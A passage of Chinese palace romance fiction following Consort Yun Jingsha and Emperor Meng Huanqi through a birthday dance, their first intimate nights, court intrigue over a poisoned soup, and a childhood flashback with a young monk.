“陛下为何不遣人来说一声,是不是我在陛下心里根本就不重要?” 少女小声嘟囔,“我等了陛下许久呢。” 尾音很轻,委屈不已。 孟桓启低声,“莫要这么说,是朕的错。” 顿了顿,他似有些难以启齿,却还是说出了口,“你在朕的心里,独一无二 。” 这四个字让云镜纱心尖颤了颤,她愣了须臾才回神,指尖勾着孟桓启掌心,带着些微的痒,嗓音又软又柔,“那陛下今夜来吗?” 第53章 听见外头响起的请安声,云镜纱提着裙子,小跑而出。 站在檐下,她瞧着一身玄衣的男子走近,杏眼弯弯,“陛下。” 孟桓启牵着她进殿,“怎么在这儿站着。” “等陛下呀。” 云镜纱语调含笑,“等着陛下的礼。” 孟桓启一手牵着她,一边朝高德容伸手。 后者恭恭敬敬献上一物。 “都退下吧。” 高德容应声,带着宫人退出,顺道体贴地关了门。 云镜纱好奇地看着孟桓启掌中之物,“这是什么?” 她打开盖子,一股甜味钻进鼻端。 “记得你喜欢吃蜜饯,这是朕亲手做的。” 低沉嗓音在耳畔响起,云镜纱再度感到疑惑。 他究竟为什么一直觉得她喜欢吃蜜饯?而且还用了“记得”这样的词。 见她不动,孟桓启拧眉,“不喜欢?” “喜欢。” 云镜纱回神,扬着唇笑。 她捻起一颗蜜饯放进嘴里。 这蜜饯是用梅子做的,入口香甜,带着恰到好处的酸,即便云镜纱如今已不太爱吃这东西,也觉得颇合胃口。 她又拿了一颗送到孟桓启唇边,眉眼皆是笑意,“陛下尝尝。” 少女双眼弯弯,笑如春花,目光专注含笑。 孟桓启张唇,含住那颗蜜饯。 唇瓣张阖间,不慎抿住柔软指腹。 云镜纱猛地收回手,面上微红。 她两指捻了捻,可那抹湿润却像是嵌在指上,怎么也擦不掉。 悄悄抬眼去看孟桓启,正正对上一双深沉黑眸,眸底似有异样翻涌。 云镜纱心下微定,抱着装满了蜜饯的瓷罐小声羞涩问:“还有一样呢?” 孟桓启从怀中取出一物。 那是条红绳,绳子串着金珠,末尾吊着两颗红玛瑙,中间打了个结,很是简单。 云镜纱垂眸看着那个结,目光凝滞。 竟然是同心结。 她快速闭了下眼,敛下所有情绪,再抬眼时,莹白脸庞唯有惊喜错愕,“陛下,这、这不合礼数。” 孟桓启将她手拉开,“有什么不合礼数?朕替你戴上。” 他垂首,认真把红绳系在云镜纱腕上。 她的皮肤白,显得那绳子越发鲜红。 孟桓启:“很好看。” 云镜纱低头看了会儿,维持着形象,犹疑不安道:“可、可是这东西,不该戴在我手上。” “朕既送了,便戴着。” 云镜纱犹豫片刻,轻轻点头,“好。” 孟桓启嘴角轻轻一翘,眼里有笑意闪过,“朕的生辰礼呢?” 云镜纱把瓷罐放在桌上盖好,斜他一眼,“陛下先回答我一个问题。” 孟桓启极有耐心,“什么?” 少女站在他面前,仰头看他,眼睛盯着他不放,“那日宫宴上的舞好看吗?” 孟桓启拧眉,“什么?” “陛下忘了?” 云镜纱轻轻一哼,“那位尹姑娘舞姿曼妙,好多人都看呆了。” 孟桓启:“他人与朕何干。” “陛下不喜欢?” 孟桓启摇头,“朕不喜歌舞。” “可是。” 云镜纱扁唇,语调委屈,“我给陛下准备的生辰礼,也是一支舞。” 孟桓启:“……” 望着少女水润控诉的双眸,他有些词穷。 张了张唇,道:“霂儿怎能和他人一样。” 这话说得好听,云镜纱忍不住笑,眼睛晶亮,“陛下的意思是,不喜欢别人的舞,只喜欢我的舞?” 这好像不能混为一谈,不过孟桓启仍是点了下头。 笑意从云镜纱眼角泄出,她欢快得像只蝴蝶,扑上来蒙住孟桓启的眼睛,“陛下先闭眼。” 柔软掌心覆在眼上,长睫从她指上扫过,孟桓启应,“好。” “跟我来。” 云镜纱牵引着孟桓启往外走,停下后道:“一会儿我唤陛下,陛下再睁眼。” 孟桓启颔首,“嗯。” 掌心远离,眼前一片黑暗,他并无不适,安静站着。 因习过武,孟桓启向来耳聪目明,能听见耳畔的轻微细响,感受到走动间带起的阵阵微风。 他静静等待。 大约过了一刻钟,他听见云镜纱的声音。 “好了。” 孟桓启睁眼。 檐下的灯不知何时已经熄灭,他站在黑暗中,唯一的光亮,来自对面少女头顶的宫灯。 朦胧灯光将她笼罩,她一袭广袖红裙,腰封勾勒出纤腰,绸缎般顺滑的长发被一支素簪绾起,发尾在腰间打着旋,纤细双手拎着一盏亮着萤光的丝绢提灯。 月色正好,她站在月下,清润双眸对他轻轻一弯,足尖踮起,裙摆随之绽放。 不知从何处飘来乐声,少女伴着乐声起舞,广袖似花瓣展开,露出一截白得发光的手臂。 舞姿曼妙,只觉赏心悦目。 最后一个音落下,丝绢提灯蓦地散开,无数萤虫从中飞出,环绕在少女身侧。 绿萤点点,月光皎皎,她站在其间,似仙娥下凡。 孟桓启看着她。 那日宫宴,她命人在舒怀酒中下药,让他酒后失德。 第二日,杜兴翰死在狱中。 若不是舒家所为,那还有一个可能。 是她做的。 她想让舒杜两家彻底结仇,想让舒家灭亡,想要报仇血恨。 一只萤虫飞到孟桓启指尖,绿光一闪一闪,似在为他指路。 他迈出一步。 往前,她进宫,或许并非因为许玉淮胁迫,而是顺势而为。 他又走了一步。 再往前,她许是早就猜出了他的身份,故意接近他。 他迈了一大步。 也许,就连她随许玉淮回京,也不是巧合。 此时的孟桓启离云镜纱唯有一步。 她站在萤虫包围中,眉眼含笑,恬静俏丽。 或许她此时的笑也是假的。 可她最终选择了接近他,入了宫,来到他身边。 无论什么原因,她的选择是他。 这就够了。 她想要什么,想做什么,他一一满足。 只要她不再丢下他,不再消失在他的世界里。 孟桓启坚定地往前迈步,在云镜纱面前站定。 少女浅笑盈盈,“这份生辰礼,陛下喜欢吗?” “喜欢。” “那……” 云镜纱靠近,踮起脚尖,洁白双臂勾住孟桓启的脖子,柔弱无骨地靠上去,羞涩又大胆地看他,“我再送陛下一份礼,陛下要吗?” 少女的眼睛倒映着青年的面容,琉璃般的眸子深情缱绻,媚眼如丝。 孟桓启低头看她片刻,大手移到云镜纱腰间,将她拦腰抱起,转身走入寝殿。 今夜无风,又闷又热,好在殿内摆了冰,丝丝凉意掠过地面衣物钻入床帐,云镜纱“嘶”了一声,不觉抱住双臂。 “冷?” 孟桓启嗓音沙哑。 云镜纱红着脸抬头,羞赧点头,“嗯。” “很快就热了。” 灼热手掌握住云镜纱纤细手腕,轻轻往外拉开,在她羞涩的惊呼声中,那手移至肩膀,把她摁在了锦被里。 果然如孟桓启所言,云镜纱很快便热了。 整个人像从水里捞出一般,汗水从额上滚落,洇湿了软枕,打湿了锦被。 她紧绷着,迟迟无法放松下来。 因为紧张,曾经学过的招数忘了个一干二净,任他掌握。 “别怕。” 孟桓启无法,只能暂停安抚她。 他俯身噙住她的唇,温柔又耐心。 在他的抚慰下,云镜纱不再紧张。那一刻到来时,她倒是没觉得有多痛,更多的是胀。 手掌抚上孟桓启结实有力的臂膀,云镜纱双眼含泪,有些难耐,“轻、轻……” 话音未落,她猛地顿住,杏眼不可置信地瞪大。 这、这么快? 那名青楼的姐姐教她时,倒是说过有些男子绣花枕头似的 中看不中用,有的甚至连几息都撑不住。 方、方才他撑了几息? 云镜纱震惊地想,难不成舒裳晚多年未孕,竟是因为这个? 那她还能怀上吗? 许是她的表情太过明显,孟桓启额角青筋跳动,撑在她两侧的手臂线条绷紧,青筋鼓胀。 颇有些难堪道:“刚才是意外。” 云镜纱张唇“啊”了一声。 她不开口便罢了,这一开口,语调里的震惊怀疑孟桓启想忽略都不行。 闭了闭眼,他俯身下去,一手掌住云镜纱的腰,用行动证明,“再来一次。” “可是……” 话未说完,云镜纱的唇已被堵住。 热潮翻涌,她鬓角潮湿,只能紧紧抱住身上的人。 不知过了多久,孟桓启终于放开了云镜纱。 她躺在柔软锦被间,身子还在颤,大脑混沌尚未醒神,迷蒙间听见他叫水。 一转眼,孟桓启捏了件里衣轻轻为她擦拭。 云镜纱听见了走动声,脸颊热得发烫。 幸好床帐被放下了,否则她真不知怎么面对寻春几人。 素手搭在孟桓启手背上,阻拦了他的动作,云镜纱红着脸小声,“我、我自己来。” “还有力气?” 分明只是一句普通的询问,可看着孟桓启的眼睛,云镜纱只觉耳根烧得慌,无力道:“……没。” 他“嗯”了声,顺理成章继续擦拭。 动作是轻的,但云镜纱有些难耐,不觉咬住下唇,忍住嘴边的声音。 “陛下,娘娘,水好了。” 丰熙的嗓音隔着帐子响起,云镜纱一抖。 感觉到湿意,二人皆是一震,云镜纱羞愤不已,把自己紧紧埋进被中。 孟桓启:“……没你的事了,下去吧。” “是。” 脚步声远离后,孟桓启拨开被子,看着藏在里边的通红小脸,尽力抿唇,“好了,她走了。” 云镜纱捂住脸,哽声,“我没脸见人了。” 孟桓启忍笑,“她不知道。” “可是我知道啊。” 云镜纱全身泛红,越加羞愤。 “不怪你,怪朕,都是朕的错。” 孟桓启抱着她安抚,“若不是朕的手……” “别说了别说了!” 云镜纱倏地去捂孟桓启的唇。 见她像是要哭出来,孟桓启体贴地住了口,抱着她去浴房为她擦洗。 擦着擦着擦出了火,两人又缠在一处。 视线朦胧,云镜纱闭了眼。 夜还很长。 第54章 凤仪宫。 “今个儿的冬瓜汤看着还不错,娘娘尝尝。” 丹莹盛了碗汤。 舒裳晚接过,有一搭没一搭地搅弄着汤勺。 她舀了一勺,双唇轻轻一抿,眉心飞快一蹙。 “飞荷来伺候本宫用膳,丹莹,你去太医院,请陈太医走一趟。” 丹莹面露担忧,“娘娘怎么了?” 舒裳晚放下汤碗,“本宫喉咙不适,让陈太医来看看。” “奴婢这就去。” 丹莹匆匆出门。 飞荷不解,“娘娘为何不请王太医?” 这位王太医是舒家的人,舒裳晚自然不待见。 撩起眼皮淡淡道:“王太医擅妇科,本宫喉咙不适,请他来做什么?” 飞荷沉默,默默服侍舒裳晚用膳。 今日这一餐舒裳晚用得格外慢,等丹莹领着陈太医进殿,她这才慢悠悠放下玉箸。 见飞荷正在收拾,舒裳晚不耐道:“先放着,本宫想吃樱桃酥酪,去取一碗来。” 飞荷悄悄撇嘴,“是。” 等她走了,舒裳晚又打发了殿里的宫人,推了推装着冬瓜汤的汤碗,“瞧瞧,这里边放了什么。” 丹莹大惊,“娘娘!” 舒裳晚递给她一个安抚性的眼神。 自小被冯夫人迫害,她的味觉极为灵敏,只浅浅尝了一口,便觉这汤有些不对。 她为人谨慎,哪怕只有一丝异常,也不会再喝下。 陈太医年近中年,蓄着胡须,面色板正,闻言拿过那汤,先是细细打量,随后用手指沾了一点放进嘴里。 片刻后,陈太医放下汤碗,“娘娘,这汤里确实有东西。” 丹莹沉着脸,“什么东西?” “里边加了几味损伤咽喉的药。” 舒裳晚问:“只会损伤咽喉?” 陈太医抚着胡须点头,“若是吃多了,会让娘娘喉咙发肿,发声艰难。但也没什么大碍,吃几副药,多休养一段时日即可。” 舒裳晚唇角上扬,“有劳。今日之事,还望陈太医保密。” 涉及后宫之事,陈太医自然不会多说,忙道:“娘娘放心,臣定当守口如瓶。” 不用舒裳晚多言,丹莹已拿了银两塞到陈太医手里,亲自送他出去。 折返回来时,正瞧见舒裳晚神色不明地瞧着桌上那碗冬瓜汤。 她走过去,把汤倒在窗台边的花盆里。 刚转身,忽听舒裳晚轻笑一声,“你说说,这对算不算是心有灵犀?一个两个的都想让我闭嘴,在宫中好生休养。” 丹莹轻轻把空碗放在桌上,“是云婕妤?” 舒裳晚扭动脖子,“八。九不离十了。” 她叹了一声,“能忍这么久,也是那姑娘脾气好。若是我天天被人辱骂,早骂回去了。她还是心软,要是我,下的药一定比这个狠。” 丹莹若有所思,“咱们宫中的人一向谨慎,云婕妤是怎么把药下在汤里的?” 舒裳晚被她说得一愣,半晌后蓦地笑开,“这样看来,是咱们小看那姑娘了。” “行了,休养就休养吧。” 舒裳晚往后一仰倒在榻上,“天热,正好在宫里歇一阵。你待会儿去慈宁宫走一趟,说我身子不适,这段时日就不去请安了。” “是。” …… 雨后湿润,山腰处岚雾缭绕,林木仿佛被人用笔加深颜色,青翠欲滴。 一只小手拉住枝叶,用力一拽,叶上水珠齐刷刷落下,砸了坐在石上的小姑娘一身。 她不仅不怒,反而咯咯笑着,笑声传出去,惊得林间雀儿扇着翅膀急急飞走。 小姑娘扎着双髻,髻上绑了两条绿色丝带,一身绿裙,杏眼桃腮,灵动秀妍。 她托着腮,不解地看着树下的人,“我都这么过分了,你为什么不生气?” 树下坐着一名小僧,白色僧袍不染纤尘,头上光秃,一张脸生得很是俊俏。他闭眼打坐,一言不发。 小姑娘踢了鞋,穿着足衣的脚踩在小僧膝盖上,不满道:“你怎么不说话。” 小僧无奈睁眼,嗓音带着少年人独有的清亮,“小雨,别闹。” “我不。” 小姑娘哼一声,重重踩在他膝上,“你还没回答我,为什么不生气?” 小僧摇头,“一些水珠而已,我知你无恶意,自然不会生气。” 小姑娘突然怒了,气冲冲踩着小僧的腿,“你是泥人做的吗?别人说什么做什么,你一点反应都没有!寺里那些僧人欺负你,剪了你的头发,你一言不发剃了头,我欺负你,你还是不反抗,我看你比菩萨还要慈悲!” 小僧愣了片刻,低声道:“原来你知道了。” “我当然知道!” 小姑娘重重一哼,不知想到什么,面上怒意消散不少,得意地摇头,“我还出手替你教训了他们。” 她灵活的表情映在眼底,小僧面上多了笑,“小雨,谢谢你。” 小雨笑意一顿,拉着脸教训,“下次他们再欺负你,你要反抗,记住了吗?” 秉持着多一事不如少一事的原则,那些小打小闹他向来不理会,不过她都发话了,他自然遵守,“好。” 他又补充,“你欺负我,我不会反抗。” “谁欺负你了!” 小雨翻脸不认人,双手叉腰仰着下巴,“我是个乖孩子,刚才只是和你闹着玩。” 小僧眼中含笑,“是我说错了话,小雨是世界上最乖的姑娘。” 小雨脸色好转,杏眼里溢出笑。 她打开腰间荷包,从里拿出一颗蜜饯,甜滋滋地吃着。 抬头见小僧正看着她,犹豫片晌,往他手里塞了一颗。 “喏,给你的。” 小僧弯唇,“谢谢小雨。” 他不舍地咬了一小口,细嚼慢咽,细细品味心里的甜。 坐在石头上的小姑娘欢快地晃着双腿,喟叹道:“蜜饯真好吃。可惜娘亲怕我坏了牙,不许我多吃。等我长大了,我要开一家属于自己的蜜饯铺子,想怎么吃就怎么吃!” 小僧偏头,认真含笑注视着在畅想中一脸兴奋的小姑娘。 “你呢?” 小雨停了话音,蓦地朝他看去,好奇问:“你以后想做什么?” 和他相识这么久,小雨只知他犯了错,被娘亲赶到这寺里,除此之外一无所知。 小僧微怔,摇了摇头,“我不知道。” 小雨眨眨眼,“你不想获得娘亲原谅,回家去吗?难不成要在这庙里待一辈子?你又不信佛,就算待在这儿,也不会成为主持那样德高望重的僧人。” 小僧沉默许久,“父亲眼里只有我兄长,娘亲怨我不得父亲欢心,恨不得从未生下我,就算回去又能如何?” 还不如在这儿,他不用面对父皇陌生疏离的眼神,也不用面对母后怨憎厌恶的目光,与那些冷嘲热讽的声音。 这里虽然也有纷争,但相比之下还算清净,最重要的是,这里有小雨。 他很喜欢,很喜欢的小雨。 只要一想到小雨会来见他,他一颗心就像飞在云层中一样,比得到父皇夸奖,母后的拥抱还要欢喜。 小雨扁扁嘴,水汪汪的大眼睛看着他,“你真可怜。” 这是第一次有人说他可怜。 小僧有些新奇。 出身皇室,他虽不得父皇母后喜爱,但也是锦衣玉食长大的,对比宫里随意被人欺凌的小太监,万佛寺一出生便被丢弃的小沙弥,他不知有多幸运。 不过看着小雨脸上眼中的心疼怜惜,他聪明地没开口,默默垂首。 这动作让小雨越发怜爱,她脚下用力一踩,整个人扑上去抱住他,大声道:“他们不要你,我要!等我开了蜜饯铺子,你就来我店里帮忙,咱们一起做生意赚大钱!你爹娘要是后悔了想把你认回去,你就用银子把他们砸出去!” 柔软的身子投入怀中,小僧身体僵硬。 在他身上,小姑娘一双眼睛流光溢彩,似有愤怒的火焰燃烧。 她腮帮子咬得紧紧的,一脸义愤填膺。 仿佛有清泉顺着裂开的缝隙淌入心田,融化了竖起的坚冰。 他眼中冬雪消融,春水潋滟。 小僧弯了下眼,“好。” 他郑重其事,“以后,我只属于小雨。” …… “娘娘醒了怎么不唤奴婢?” 芳音疑惑的声音穿过床帐。 云镜纱偏头。 透过朦胧纱帐,芳音依稀瞧见她脸上迷蒙,“娘娘怎么了?” 云镜纱撑着头,“做了个梦。” “什么梦?” “想不起来了。” 云镜纱揉了揉眉心,摇头失笑,“想来应该不是什么重要的梦。” 她往外看去,“陛下走了?” 芳音点头,“早走了,走之前特地嘱咐让娘娘好生歇息。” 云镜纱动了动身子,感受到浑身酸胀,抿紧了唇。 折腾了大半宿,一点不耽误他早起上朝,反倒是她,一觉睡到中午,身下至今还有异样。 一只手撩开纱帐,芳音道:“奴婢伺候娘娘洗漱吧。” “不用!” 云镜纱急忙叫住她,“你把衣物拿过来,我自己穿。” 芳音眨眨眼,意识到娘娘害羞了,脸上露出笑,嗓音欢快,“好!” 趁她去拿衣物的空隙,云镜纱伸手,轻轻揉按酸胀的腰身。 揉着揉着,手放在了小腹上。 也不知这次能不能怀上。 知道这事急不得,云镜纱暂且放下,穿好衣物后在丰熙和芳音的服侍下吃了午膳。 瞧着两人脸上的喜意,她默了默,让人打赏后,默默去榻上躺着。 身上发酸,云镜纱什么也不想做。 尹寻春拿了话本过来,坐在贵妃榻下的小凳上,“娘娘要听话本吗?” 云镜纱轻轻点头,“念吧。” 尹寻春翻开话本,一字一字地念着。 她的声音清脆响亮,很能醒神,云镜纱起初听得很认真,但听着听着,眼皮子开始打架,尹寻春的声音也越来越小,最后什么时候睡过去的都没意识。 再睁眼时天已经黑了,屋里未点灯。 身上起了汗,云镜纱喉咙发干发涩,起身欲去倒水,刚一动,腰间骤然一紧,她整个人往回倒,跌进一个温热坚硬的怀抱。 “陛下?” 第55章 “嗯。” 含着睡意的沙哑嗓音在耳畔响起,云镜纱眉心微动,小声问:“陛下什么时候来的?” “有一阵了。要做什么?” 云镜纱:“口渴,想喝水。” 孟桓启松开她,起身下榻,给她端来一杯水。 就着他的手,云镜纱小口喝着。 一杯水下肚,就听孟桓启问:“传膳吗?” 睡了一下午,云镜纱的确饿了,闻言点点头。 吃完饭,夜间无事,云镜纱早早地爬上了床。 她没什么睡意,一颗心蠢蠢欲动,手指悄悄往旁边伸去,偷偷摸摸抚上身旁人的胸膛。 指腹刚触及结实有弹性的肌肤,手便被人捉住了。 孟桓启闭着眼,握着云镜纱的手,轻声警告,“别动。” 他的掌心温度很高,指腹带着茧,轻轻摩挲她的手时,几乎让云镜纱瞬间忆起昨夜他的手拂过腰身时带起的阵阵战栗。 她心头微颤,轻抬的眼睫撩起一抹勾人的弧度,小小声问:“陛下不想吗?” 昨晚他许久都没放过她,想来对她应是极为满意的。 孟桓启:“别闹。” 察觉自己语气有些生硬,他补充一句,“你受不住。” 出人意料的一句话让云镜纱愣住,心情复杂。 她听出来,他不是不想,只是怕她受伤。 她以为,像他这样站在权力顶端的男人,断不会在乎别人的感受。可事实上,自相识至今,他可以算得上处处熨帖,她不喜欢,不想要的,都不会强求。 她应该高兴的,这证明她的努力没有白费,他的确把她放在了心上。 虽不知这喜欢有几分,但对一个帝王来说已经足够了。 可不知为何,云镜纱心里反而有些说不出的酸涩难受。 她想,或许她还有些良心。 演够了虚情假意,便觉得对不住他的真心实意。 脑子一团乱麻,云镜纱不露声色,含羞带怯地嗔了孟桓启一眼,枕着他肩窝不动了。 她闭着眼,乱七八糟想了许多,直到耳畔均匀的呼吸声将她的思绪拉了回来。 云镜纱与孟桓启拉开距离,细细打量着他的眉眼。 这张脸俊美又冷峻,表面不近人情,但对她来说,却是平易近人,最好说话。 她伸出一指,指尖轻轻从孟桓启的脸庞往下滑,勾画着喉结的弧度,慢慢落在他脖颈上。 睡梦中的男人不复醒时的锐利冷漠,他的脖子落在她掌中,似乎用力一折便能折断。 云镜纱神情复杂。 如果他不是舒太后的儿子,该有多好。 收回手,云镜纱侧过身,背对着孟桓启,慢慢阖上眼。 她转身的刹那,早已睡着的男人蓦地睁眼,安静凝视着她的背影,直到听到她平缓的呼吸声,这才收回视线。 …… 檐下水缸里睡莲垂了头,就连水里的鲤鱼都没之前活跃了。 云镜纱在宫里待得闷,团扇一扔,道:“让尚食局熬碗消暑的汤,咱们去长极宫探望陛下。” 好不容易圆了房,她得抓紧机会联络感情,早日怀上皇嗣。 丰熙应了,“是。” 亲自去盯御厨熬汤。 等她回来时,云镜纱已收拾妥当,坐上轿撵浩浩荡荡去了长极宫。 白日无风,晒得人心慌意乱,等轿撵到长极宫时,云镜纱面上已出了层薄汗。 高德容见了她,脸上立时露出笑。 云镜纱笑脸迎人,“公公,我来给陛下送汤。” 高德容:“娘娘稍等,容奴才进去禀报一声。” 两名小公公开了门,高德容转身进去。 他的背影消失没多久,另一道身影从长极宫内走了出来。 那人微怔,拱手作揖,“微臣见过婕妤娘娘。” 云镜纱亦是一愣,旋即面上含笑,温声寒暄,“唐大人,许久不见,近日可好?” 唐鹤原恭敬垂首,“劳娘娘挂念,臣一切安好。” 云镜纱向前迈了一步。 离得稍近,她闻到了少年身上清新纤巧的香气。 心头一 动,云镜纱好奇问:“唐大人用了什么香熏衣?炎炎夏日,这气味颇为清淡好闻。” 唐鹤原眉心微动,“是橙花香。臣自幼便喜橙花,因此家中熏香,家母皆用了橙花。经年累月,从未变过。” 记忆中,也有一人喜欢用橙花。 眼中有怀念闪过,云镜纱语气含了羡慕,“听起来,唐大人与令堂很是亲近。” “是。” 唐鹤原面色转柔,“臣年幼失祜,家母拉着臣兄妹长大,家中一向和睦。” “真好,真好。” 云镜纱用了两个“真好”,语气感慨艳羡。 听闻云婕妤父母双亡,与兄长相依为命,想来是忆起了早逝的双亲,唐鹤原抿了抿唇,神色含愧。 殿内传来脚步声,高德容的目光在二人身上打转,笑道:“娘娘,陛下请您进去。” 云镜纱颔首笑应,“唐大人,我先走一步。” 唐鹤原:“恭送娘娘。” 朝高德容点了下头,云镜纱拎起食盒进殿。 孟桓启坐于御案后,正提着朱笔批折子。 云镜纱屈膝,“陛下。” 他抬起头,缓了神色,“今日怎么过来了。” “来看看陛下。” 云镜纱弯眼,盛好汤送到孟桓启面前,“给陛下解暑用的。” 孟桓启瞥一眼,“又进厨房了?” 听出他话音里的不赞同,云镜纱笑了,“让尚食局做的,我一点没沾手。” 孟桓启满意了,轻抬下颌,“朕现下不得空,你去榻上躺会儿。” 云镜纱笑盈盈应了,转去贵妃榻上。 榻前雕漆铁木四角方桌上摆着几盘精致的糕点和蜜饯,她捻了一颗,笑着问孟桓启,“那这蜜饯,也是陛下做的?” 孟桓启飞快瞧了一眼,轻咳一声。 云镜纱呆了,原是随口揶揄,结果,“还真是?” 孟桓启垂睫看奏折,“不费工夫,给你做了吃着玩的。” 语气很是随意。 不知她什么时候会来,长极宫里随时都备着蜜饯。 长睫翩跹,云镜纱心情复杂难辨。 过了两息,她才整理好表情,吃下那颗蜜饯,笑眼弯弯,“那就多谢陛下啦。” 孟桓启含糊一应,把落在她身上的思绪收回,认真批阅。 云镜纱不再打扰,靠在榻上垂着眼,不知在想什么。 软榻旁放着几本话本子,她有些心浮气躁,随手拿了一本翻阅。 起初不过是为了转移注意力,但这话本写得生动有趣,语言诙谐幽默,情节曲折精彩,慢慢的倒也看进去了。 话本子很短,云镜纱看完时还有些意犹未尽。 抬头一瞧,孟桓启垂眸看着折子,眉心紧紧皱起,神色越发冷漠。 听景哥说,最近舒家和杜家斗得厉害,闹得朝堂上乌烟瘴气,想必此刻,他正是在头疼此事吧? 云镜纱放下话本起身,悄声来到孟桓启身后,伸出手指抚上他太阳穴,轻轻揉按着。 紧皱的眉心不觉舒展,孟桓启往后靠,眼中疲惫淡了不少。 视线飞快浏览了遍御案上的折子,果真是弹劾靖国公纵容子侄闹市纵马,殴打重臣之子,惹是生非的折子。 云镜纱愉悦,语气不觉带了几分,“这样舒服吗?” 孟桓启喉间发出一声响,“嗯。” 他闭着眼缓了片刻,捉住云镜纱的手,“好了。” 睁眼的刹那,目光掠过方桌上的蜜饯,与之前相比一般无二。 本已舒缓的眉头飞快一皱。 她现在,不喜欢了? 一双手臂缠上脖子,少女下巴放在他肩上,似娇似嗔,“才按了这么一会儿,陛下怎么这么容易满足啊。” 她的呼吸近在咫尺,清雅馨香挑战着男人的自制力。 更别说还是一个刚开荤便沉迷政事,多日不曾碰过女色的男人。 孟桓启眸光一暗,擒住云镜纱手腕,将她拉到腿上坐下。 事发突然,云镜纱无辜眨眼,“陛下?” 手指曲起,抬起她的下巴,孟桓启嗓音喑哑,“霂儿,朕远远没有被满足。” 云镜纱:“……啊?” 话音被堵在喉间,眼前阴影落下,男人低头吻了下来。 他的吻和他的外表全然不符,温柔轻缓得不可思议,缠绵又缱绻。 被仿佛掌中珠宝一样对待,云镜纱不可避免地沉迷。 身上渐生热意,她快要喘不过气来时,伸手推了推孟桓启的胸膛。 手臂擦过他的衣裳,云镜纱猛地惊醒,意外发现自己竟已衣衫半褪,软软倒在孟桓启怀中。 她气息不稳地唤:“……陛下。” 语调绵软,柔得好似能滴出水来。 孟桓启平了平气息,解开腰上腰封,抬起云镜纱的脸,在她羞涩不解的目光下,用她亲手绣的腰封蒙住她的眼睛。 眼前一片黑暗,云镜纱有些不适,攀住孟桓启双臂,“陛下?” 孟桓启低低应了一声。 视线受阻,云镜纱听见“啵”的一声,似乎有什么东西被打开了。 她听见孟桓启喉咙吞咽的声音,听见汩汩流水搅动,与自己一听便能羞红脸的声响。 云镜纱努力装作若无其事的模样,无力地靠在孟桓启肩上,任由他为所欲为。 她不知道,她越是一本正经,雪白双颊上的红意便越发明显,红霞逐渐蔓延至全身,令抱着她的男人神色愈加晦暗,耳后根发红发烫,力道也更重一分。 云镜纱有些受不住了,低低哀求着喊不要。 孟桓启抱着她,低低安抚,“……快了,快好了,霂儿乖,再忍忍。” 云镜纱掐着他的肩膀,指尖在男人白皙肩背上留下道道红痕。 殿内满室生春。 殿外,高德容拦住一身官服,修长如竹的男人,“云大人,陛下这会儿不得空,您还是晚些再来吧。” 云景舟面容不变,温和有礼,“好,有劳公公。” 他往关闭的殿门看了眼,脚步微顿,转身离去。 高德容松了口气,悄悄离殿门远了一步。 暗道,这可是从来没有过的。 云婕妤当真了不得。 第56章 云镜纱坐在榻上,呆呆地发着怔。 孟桓启蹲在她面前,一手握着她的脚踝,轻柔为她套上罗袜。 他的手苍劲有力,两指圈住她的脚腕还绰绰有余,手指摩挲带来轻微痒意。 男人垂着头,看不清神色,却能从动作感受到他的温柔。 在她面前,他好像不再是权柄在握的帝王,而是拥有七情六欲的普通男人。 感受到云镜纱发愣的目光,孟桓启抿了抿唇,随口起了话题,“方才在外边见到了唐鹤原?” 云镜纱回神,“啊”了一声,点头道:“之前与唐大人有过一面之缘,随意寒暄了几句。” 孟桓启颔首,松开她的脚踝,罕见赞了一句,“唐鹤原年纪虽轻,但性子沉稳,是个能做事的,朕打算将他调去大理寺。” 两人将将做过男女之间最亲密的事,现下突然谈论起一个少年,云镜纱觉得怪怪的,应和道:“看来陛下 对唐大人寄予厚望。” 孟桓启:“嗯。” 他起身,指腹轻触云镜纱鼻尖,一触即离,“身子不适就躺着,朕处理完折子就送你回宫。” 云镜纱脸一下子红了,避开他深沉目光,小声道:“好。” 看着他的背影,云镜纱目光幽幽,等他坐回御案后,眸光一转,眼底晦涩仿佛从未出现。 对孟桓启甜甜一笑,她躺了回去。身上困乏,云镜纱闭上眼休憩。 醒来时日头渐落,孟桓启仍在御案后批折子。 见他神色略有不虞,云镜纱贴心地没去打扰,饮了口桌上冷茶,吃了些点心果腹,又翻开一本话本子。 二人各做各的,分外和谐。 …… 贵妃身子不适在宫中休养,趁此良机,云镜纱每隔两日便去长极宫和孟桓启培养感情。 上次荒唐过后,孟桓启格外老实,再没在长极宫动她。 今日孟桓启政务繁忙,云镜纱总共没和他说几句话,待着也是无趣,她索性回了玉华宫。 日渐西落,橘红色霞光铺洒在琉璃瓦上,呈现出绚烂光泽。 夕阳在宫道上拉出一道长影,今日不算太热,云镜纱没用轿撵,缓缓走在宫道上。 宫人们落在后头,尹寻春和芳音护在云镜纱两侧。 芳音喜滋滋道:“贵妃娘娘病得可真及时,没有她在,娘娘和陛下的感情越发好了。” 云镜纱斜她一眼,语气柔和又不失警告,“这话在我跟前说便罢了,万不可让别人听了去。” 芳音捂嘴,眼睛里含着笑,“娘娘放心,奴婢知道分寸。” 踩着夕阳,云镜纱蓦地蹙眉。 橘色光芒笼罩眉眼,她杏眼微眯,眼底有困惑涌动。 说起舒裳晚,云镜纱忽地意识到不对劲。 未入宫前,听闻舒贵妃霸宠,把陛下看得极严。 可入宫这么久,她听到看到的多了,又好像言过其实。 除了在请安时对孟桓启热络了些,其余时候,也没见舒裳晚有多殷勤。 若当真把孟桓启放在心上,不应该比她更上心吗? 至少进宫后,云镜纱从未听说过孟桓启留宿凤仪宫,或者是贵妃娘娘带着汤水点心前去长极宫探望。 奇怪得很。 舒裳晚对她的态度也值得探究。 口中对她侮辱责骂,但除了第一次交锋时让她罚跪,其余时候她并未动过手。 舒裳晚闭宫近一个月,这一个月以来她常与陛下在一处,也没见她着急。 就算喉咙不适,这不正是博得孟桓启怜惜的好时机吗? 还有孟桓启,他和太后之间又是怎么回事? 太后待他亲厚,他却始终不假辞色,冷冷淡淡的。 帝妃、母子。 这三人简直奇奇怪怪的。 带着疑惑回了玉华宫,踏进门的刹那,凉气扑面而来。 云镜纱舒了口气,坐在榻上歇凉。 丰熙端来一碗荔枝酥山,云镜纱吃了两口,打量着她的神色,“发生了何事,怎么沉着脸?” 丰熙撩起衣袍跪在云镜纱面前,“请娘娘治奴婢失察之罪。” 云镜纱没叫起,吃了一勺酥山,这才问:“怎么了?” 